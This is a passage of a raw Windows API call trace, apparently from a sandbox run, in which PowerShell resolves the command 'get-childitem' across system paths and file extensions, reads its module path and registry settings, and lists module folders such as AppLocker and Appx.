0x2e [0111.714] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.JS", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.716] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.JSE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.JSE", lpFilePart=0x0) returned 0x2a [0111.716] GetFullPathNameW (in: lpFileName="get-childitem.JSE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.JSE", lpFilePart=0x0) returned 0x2f [0111.716] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.JSE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.717] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.717] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.717] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.WSF", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.WSF", lpFilePart=0x0) returned 0x2a [0111.717] GetFullPathNameW (in: lpFileName="get-childitem.WSF", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.WSF", lpFilePart=0x0) returned 0x2f [0111.717] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.WSF", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.718] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.718] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.718] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.718] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.WSH", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\get-childitem.WSH", lpFilePart=0x0) returned 0x2a [0111.718] GetFullPathNameW (in: lpFileName="get-childitem.WSH", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.WSH", lpFilePart=0x0) returned 0x2f [0111.718] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.WSH", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.720] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.720] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0111.720] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0111.720] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.MSC", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.723] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem.CPL", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.724] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\get-childitem", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.725] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.ps1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.725] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.psm1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.726] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.psd1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.726] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.COM", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.726] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.EXE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.726] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.BAT", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.727] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.CMD", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.727] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.VBS", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.727] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.VBE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.727] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.JS", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.728] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.JSE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.728] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.WSF", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.728] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.WSH", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.728] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.MSC", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.728] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem.CPL", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.729] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\get-childitem", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.730] CoTaskMemAlloc (cb=0x20e) returned 0x8e542c0 [0111.730] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x8e542c0, nSize=0x105 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x9e [0111.730] CoTaskMemFree (pv=0x8e542c0) [0111.730] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99aec0c | out: phkResult=0x99aec0c*=0x850) returned 0x0 [0111.730] RegQueryValueExW (in: hKey=0x850, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99aec2c, lpData=0x0, lpcbData=0x99aec28*=0x0 | out: lpType=0x99aec2c*=0x1, lpData=0x0, lpcbData=0x99aec28*=0x56) returned 0x0 [0111.730] RegQueryValueExW (in: hKey=0x850, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99aec2c, lpData=0x675a6d8, lpcbData=0x99aec28*=0x56 | out: lpType=0x99aec2c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99aec28*=0x56) returned 0x0 [0111.730] RegCloseKey (hKey=0x850) returned 0x0 [0111.731] FindFirstFileW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\*", lpFindFileData=0x99ae918 | out: lpFindFileData=0x99ae918) returned 0x8e351d0 [0111.732] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.732] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.732] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.732] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.732] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.732] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.732] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.732] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.732] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.732] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.733] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.734] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.734] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.734] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.734] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.734] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.734] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.734] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.734] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.734] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.735] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.735] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.735] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.735] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.735] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.735] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.735] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.735] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.735] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.735] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.736] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.737] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 0 [0111.737] FindFirstFileW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\*", lpFindFileData=0x99ae918 | out: lpFindFileData=0x99ae918) returned 0x8e351d0 [0111.737] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.738] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.738] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.738] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.738] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.738] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.738] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.738] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.738] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.738] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.738] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.739] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.739] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.739] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.739] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.739] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.739] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.739] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.739] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.739] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.739] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.743] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 1 [0111.743] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae928 | out: lpFindFileData=0x99ae928) returned 0 [0111.743] FindClose (in: hFindFile=0x8e351d0 | out: hFindFile=0x8e351d0) returned 1 [0111.743] FindFirstFileW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\AppLocker\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e351d0 [0111.743] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.743] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.744] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0111.744] FindFirstFileW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\AppLocker\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e351d0 [0111.744] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.744] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.744] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0111.744] FindFirstFileW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\AppLocker\\*", lpFindFileData=0x99ae86c | out: lpFindFileData=0x99ae86c) returned 0x8e351d0 [0111.744] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0111.745] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 1 [0111.745] FindNextFileW (in: hFindFile=0x8e351d0, lpFindFileData=0x99ae87c | out: lpFindFileData=0x99ae87c) returned 0 [0111.746] FindFirstFileW (in: lpFileName="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Appx\\*", lpFindFileData=0x99ae820 | out: lpFindFileData=0x99ae820) returned 0x8e35210 [0111.746] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.746] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.746] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 1 [0111.747] FindNextFileW (in: hFindFile=0x8e35210, lpFindFileData=0x99ae830 | out: lpFindFileData=0x99ae830) returned 0 [0111.747] FindFirstFileW (in: 